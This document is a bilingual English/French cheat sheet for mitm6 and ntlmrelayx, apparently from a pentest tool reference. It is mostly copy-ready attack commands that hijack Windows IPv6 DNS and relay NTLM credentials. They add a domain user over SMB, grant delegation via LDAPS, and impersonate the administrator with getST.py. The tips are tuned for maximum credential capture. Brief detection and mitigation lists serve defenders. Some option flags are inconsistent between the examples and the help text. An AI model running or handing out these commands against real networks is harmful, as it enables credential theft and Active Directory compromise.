mitm6

Outil d'attaque MITM IPv6. Exploite la préférence de Windows pour IPv6 afin de devenir le serveur DNS par défaut, puis relaie les identifiants capturés avec ntlmrelayx. IPv6 MITM attack tool. Exploits Windows IPv6 preference to become the default DNS server, then relays captured credentials with ntlmrelayx.

↗ https://github.com/dirkjanm/mitm6

Overview

mitm6 exploits the fact that Windows prefers IPv6 over IPv4 by default. It responds to DHCPv6 requests to assign itself as the primary DNS server, then intercepts WPAD/NetBIOS name resolution requests. Combined with ntlmrelayx, it relays NTLM credentials to other services or captures NTLMv2 hashes.

How the Attack Works

  1. mitm6 responds to DHCPv6 broadcasts → assigns itself as IPv6 default gateway + DNS
  2. When victim searches for WPAD (Web Proxy Auto-Discovery), DNS resolves to attacker
  3. Windows auto-authenticates with NTLM to the attacker’s WPAD server
  4. ntlmrelayx relays those credentials to target services (LDAP, SMB, etc.)

Setup: mitm6 + ntlmrelayx (Standard Attack)

Terminal 1: Start mitm6

sudo mitm6 -d domain.local

Terminal 2: Start ntlmrelayx (relay to LDAP — creates new user or dumps info)

sudo ntlmrelayx.py -6 -t ldaps://dc01.domain.local -wh attacker.domain.local \
  --delegate-access --no-smb-server

Or relay to SMB (execute command)

sudo ntlmrelayx.py -6 -t smb://10.10.10.5 -wh attacker.domain.local \
  --smb2support -c "net user hacker P@ssw0rd! /add /domain"

LDAP Relay Attack (Privilege Escalation)

Terminal 1: mitm6

sudo mitm6 -d domain.local

Terminal 2: ntlmrelayx with —delegate-access Creates a computer account and grants it delegation rights

sudo ntlmrelayx.py -6 -t ldaps://dc01.domain.local \
  --delegate-access --no-smb-server -wh attacker.domain.local

After success: use the delegated computer account for S4U2Proxy impacket getST:

getST.py -spn cifs/dc01.domain.local \
  -impersonate administrator \
  'domain.local/ATTACKERCOMPUTER$:password'

Target Filtering

Only intercept traffic for specific domain

sudo mitm6 -d domain.local

Ignore specific hosts

sudo mitm6 -d domain.local --ignore-nofqdn

Only attack specific target MAC

sudo mitm6 -d domain.local --mac AA:BB:CC:DD:EE:FF

Set custom IPv6 prefix

sudo mitm6 -d domain.local --ipv6-prefix fd00::/64

Detection & Indicators

The attack generates these observable events:

  • DHCPv6 responses from unexpected hosts
  • DNS queries to attacker’s IPv6 address
  • NTLM authentication to unusual hosts (WPAD auto-auth)
  • New computer objects created in AD (from --delegate-access)

Mitigations:

  • Block DHCPv6 on switch ports (if not using IPv6)
  • Disable WPAD via Group Policy
  • Enable LDAP signing and channel binding

Tips

  • Works even in networks with no IPv6 infrastructure — Windows still prefers IPv6 if offered
  • --delegate-access is more reliable than --add-computer — creates usable delegation path
  • Run during business hours when users are actively logging in for best capture rate
  • Combine captured delegated creds with impacket’s getST.py for full CIFS access
Help / Man page
mitm6 [options]

-d domain         Target domain name (required)
-i interface      Network interface (default: auto-detect)
-l lifetime       DHCPv6 lease lifetime seconds (default: 300)
-f filter         Filter by MAC address
--ignore-nofqdn   Ignore requests that don't have an FQDN
--ipv6-prefix     IPv6 prefix to use
-v                Verbose output

ntlmrelayx.py [options]
-t target         Relay target (smb://ip, ldap://ip, ldaps://ip)
-6                Listen on IPv6 as well
-wh host          WPAD hostname to serve
--no-smb-server   Disable SMB relay server
--no-http-server  Disable HTTP relay server
--delegate-access Enable delegate access attack (LDAP only)
-smb2support      Enable SMB2
-c command        Command to execute (SMB relay)

Vue d’ensemble

mitm6 exploite le fait que Windows préfère IPv6 à IPv4 par défaut. Il répond aux requêtes DHCPv6 pour s’assigner comme serveur DNS principal, puis intercepte les requêtes de résolution de noms WPAD/NetBIOS. Combiné à ntlmrelayx, il relaie les identifiants NTLM vers d’autres services ou capture les hachages NTLMv2.

Fonctionnement de l’attaque

  1. mitm6 répond aux broadcasts DHCPv6 → s’assigne comme passerelle IPv6 par défaut + DNS
  2. Quand la victime recherche le WPAD (Web Proxy Auto-Discovery), le DNS résout vers l’attaquant
  3. Windows s’authentifie automatiquement en NTLM auprès du serveur WPAD de l’attaquant
  4. ntlmrelayx relaie ces identifiants vers les services cibles (LDAP, SMB, etc.)

Mise en place : mitm6 + ntlmrelayx (attaque standard)

# Terminal 1 : démarrer mitm6
sudo mitm6 -d domain.local

# Terminal 2 : démarrer ntlmrelayx (relais vers LDAP, crée un nouvel utilisateur ou dump des infos)
sudo ntlmrelayx.py -6 -t ldaps://dc01.domain.local -wh attacker.domain.local \
  --delegate-access --no-smb-server

# Ou relayer vers SMB (exécuter une commande)
sudo ntlmrelayx.py -6 -t smb://10.10.10.5 -wh attacker.domain.local \
  --smb2support -c "net user hacker P@ssw0rd! /add /domain"

Attaque de relais LDAP (élévation de privilèges)

# Terminal 1 : mitm6
sudo mitm6 -d domain.local

# Terminal 2 : ntlmrelayx avec --delegate-access, crée un compte machine et lui accorde des droits de délégation
sudo ntlmrelayx.py -6 -t ldaps://dc01.domain.local \
  --delegate-access --no-smb-server -wh attacker.domain.local

# Après succès : utiliser le compte machine délégué pour S4U2Proxy avec getST d'impacket
getST.py -spn cifs/dc01.domain.local \
  -impersonate administrator \
  'domain.local/ATTACKERCOMPUTER$:password'

Filtrage de cibles

# N'intercepter le trafic que pour un domaine spécifique
sudo mitm6 -d domain.local

# Ignorer des hôtes spécifiques
sudo mitm6 -d domain.local --ignore-nofqdn

# N'attaquer qu'une adresse MAC cible spécifique
sudo mitm6 -d domain.local --mac AA:BB:CC:DD:EE:FF

# Définir un préfixe IPv6 personnalisé
sudo mitm6 -d domain.local --ipv6-prefix fd00::/64

Détection et indicateurs

L’attaque génère les événements observables suivants :

  • Réponses DHCPv6 provenant d’hôtes inattendus
  • Requêtes DNS vers l’adresse IPv6 de l’attaquant
  • Authentification NTLM vers des hôtes inhabituels (auto-authentification WPAD)
  • Nouveaux objets ordinateur créés dans AD (via --delegate-access)

Mitigations :

  • Bloquer le DHCPv6 sur les ports de switch (si IPv6 non utilisé)
  • Désactiver le WPAD via une GPO
  • Activer la signature LDAP et le channel binding

Conseils

  • Fonctionne même sur des réseaux sans infrastructure IPv6 : Windows préfère toujours IPv6 s’il est proposé
  • --delegate-access est plus fiable que --add-computer : crée un chemin de délégation exploitable
  • Lancer pendant les heures de bureau, quand les utilisateurs se connectent activement, pour un meilleur taux de capture
  • Combiner les identifiants délégués capturés avec getST.py d’impacket pour un accès CIFS complet
Aide / Page de manuel
mitm6 [options]

-d domain         Target domain name (required)
-i interface      Network interface (default: auto-detect)
-l lifetime       DHCPv6 lease lifetime seconds (default: 300)
-f filter         Filter by MAC address
--ignore-nofqdn   Ignore requests that don't have an FQDN
--ipv6-prefix     IPv6 prefix to use
-v                Verbose output

ntlmrelayx.py [options]
-t target         Relay target (smb://ip, ldap://ip, ldaps://ip)
-6                Listen on IPv6 as well
-wh host          WPAD hostname to serve
--no-smb-server   Disable SMB relay server
--no-http-server  Disable HTTP relay server
--delegate-access Enable delegate access attack (LDAP only)
-smb2support      Enable SMB2
-c command        Command to execute (SMB relay)